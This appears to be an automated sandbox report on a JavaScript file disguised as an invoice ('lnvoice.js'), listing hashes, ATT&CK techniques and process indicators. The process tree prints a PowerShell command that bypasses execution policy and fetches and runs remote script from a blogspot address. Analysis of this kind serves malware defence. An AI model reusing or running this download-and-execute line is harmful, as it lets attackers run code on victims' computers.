acb9edc3989f14d72f7994426388cc89f9e7a2167160b5cfa971fe0b78299288

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 06:48

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General

Target

lnvoice.js
Size

1.3MB
MD5

65f9c67965df098ac25026ce6b229861
SHA1

683649d54495bc1efa6dc22e3efab1c2ac3116fd
SHA256

acb9edc3989f14d72f7994426388cc89f9e7a2167160b5cfa971fe0b78299288
SHA512

bdcb1a1c24c5148b37b8a3e3ff96305d3637e8e39d9811ea507a8481c682080195d1b7e12b57e42d6572925d8164c1edfb491911dd28277bd37432961d05c0b8
SSDEEP

384:AhSvcDV0ZbSpIM8yvPMGjYD9s4S6SVh+GjhmSPgEH0vO6/scXeDQX45vH58jcX52:AhSvWISpEhRLXriI

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2724 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2724 powershell.exe

pid	process
2724	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2364 wrote to memory of 2724	2364	wscript.exe	powershell.exe
PID 2364 wrote to memory of 2724	2364	wscript.exe	powershell.exe
PID 2364 wrote to memory of 2724	2364	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\lnvoice.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2724-4-0x000007FEF597E000-0x000007FEF597F000-memory.dmp

Filesize
4KB

Download
memory/2724-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2724-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2724-7-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-8-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-9-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download